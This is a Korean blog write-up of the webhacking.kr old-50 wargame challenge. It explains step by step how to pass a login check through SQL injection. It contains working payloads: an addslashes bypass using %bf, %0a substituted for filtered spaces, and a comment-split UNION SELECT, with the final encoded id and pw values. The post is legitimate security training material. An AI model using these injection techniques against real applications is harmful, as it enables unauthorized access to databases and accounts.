본문 바로가기
category/웹해킹(webhacking.kr)

웹해킹(webhacking.kr) - 50번

by 자운대고라니 2020. 11. 21.
반응형

안녕하세요??

자운대 고라니입니다.

오늘은 wargame.kr old-50번 문제를 풀어보겠습니다.


문제의 첫 화면은 id와 pw의 textbox가 있고 이를 활용하여 SQL INJECTION을 해보라고 나와있다.

일단 view-source로 코드를 확인하겠다.

코드 중 중요한 부분만 캡처해놨다.

이 전에 풀었던 45번 문제와 굉장히 유사하다고 생각되었다.


1. lv=3

 

일단 문제에서 $result['lv']=="3" 조건을 만족시키라고 나와있으므로, id부분을 injection하여 lv=3으로 만들어봤다.

select lv from chall50 where id=''||lv='3'#'' and pw=......

id에 '||lv='3'#'이라는 값을 넣어야 하고, 필터링을 우회하는 값을 넣으면

(수정 전)'||lv='3'#' -> (수정 후)%27%7C%7Clv%0alike%0a%273%27%23%27

 

여기서 addslashes를 우회하기 위해서 quote 앞에 %bf를 넣어준다. (이해가 안된다면 맨 아래쪽 링크 먼저 확인)

(수정 전)%27%7C%7Clv%0alike%0a%273%27%23%27 ->

(수정 후)%bf%7C%7Clv%0alike%0a%bf%273%bf%27%23%bf%27

이 값을 url부분에 넣어봤다.

그랬더니 Wrong이라는 문구가 나왔다.

다시 원본 소스코드를 보면

빨간색으로 표시된 부분에 $result의 값이 존재하지 않을 때 echo("Wrong");이라고 나와있는 것을 확인하였고,

이는 lv=3이라는 값의 데이터가 테이블에 존재하지 않다는 것을 알 수 있다.


2. union, /**/ 활용

 

 

이를 우회하기 위해서는 union함수를 활용하여야 한다. (이해가 안된다면 맨 아래쪽 링크 먼저 확인)

그렇지만 id는 preg_match에 의해서 union이 필터링되었다.

 

그러므로 pw부분에 union함수를 넣어야 하는데, md5()로 암호화가 된다.

이를 우회하기 위해서는 /**/ 우회를 해야 한다.

 

/**/이란 /* ~ */ 사이의 ~부분을 주석처리해주는 기능이다.

예를 들어서 /* 안녕하세요 */라고 돼있으면 안녕하세요는 프로그램이 돌아갈 때 아무런 지장을 못 미친다.

 

본론으로 들어가서 문제의 쿼리문에 /**/을 활용해서 injection을 성공한다고 생각해보자.

 

select lv from chall50 where id=''/*' and pw=md5('*/union select 3#'')

-> select lv from chall50 where id=''union select 3#'')

-> lv=3

 

이렇게 lv에는 3이란 값이 들어갈 수 있게 된다.

 

정리해서

id = '/*

pw = */union select 3#'

를 넣어주면 되고, 이를 url encoding을 해준다.

이때 띄어쓰기도 필터링되었으므로, 띄어 쓰는 부분에는 %0a를 넣어준다.

 

id = %bf%27%2F%2A

pw = %2A%2Funion%0aselect%0a3%23%bf%27

 

이 값을 url주소에 넣어주면

답이 나온다.

처음 푸는 사람이라면 score가 올라갈 것이다.


이번 문제는 webhacking.kr에 있는 여러 가지 문제를 짬뽕해놓은 느낌이었다.

아래의 링크를 위의 설명 중 이해가 안 가는 부분이 있었다면 아래의 링크들을 참고하면 되겠다.

 

addslash우회 (%bf활용)

%0a우회

union활용

 

반응형

'category > 웹해킹(webhacking.kr)' 카테고리의 다른 글

webhacking 기본  (0) 2020.11.24
웹해킹(webhacking.kr) - 27번  (0) 2020.11.24
웹해킹(webhacking.kr) - 24번  (0) 2020.11.21
웹해킹(webhacking.kr) - 16번  (0) 2020.11.21
웹해킹(webhacking.kr) - 45번  (0) 2020.11.20
웹해킹(webhacking.kr) - 48번  (0) 2020.11.20
웹해킹(webhacking.kr) - 44번  (0) 2020.11.20
웹해킹(webhacking.kr) - 36번  (0) 2020.11.18

댓글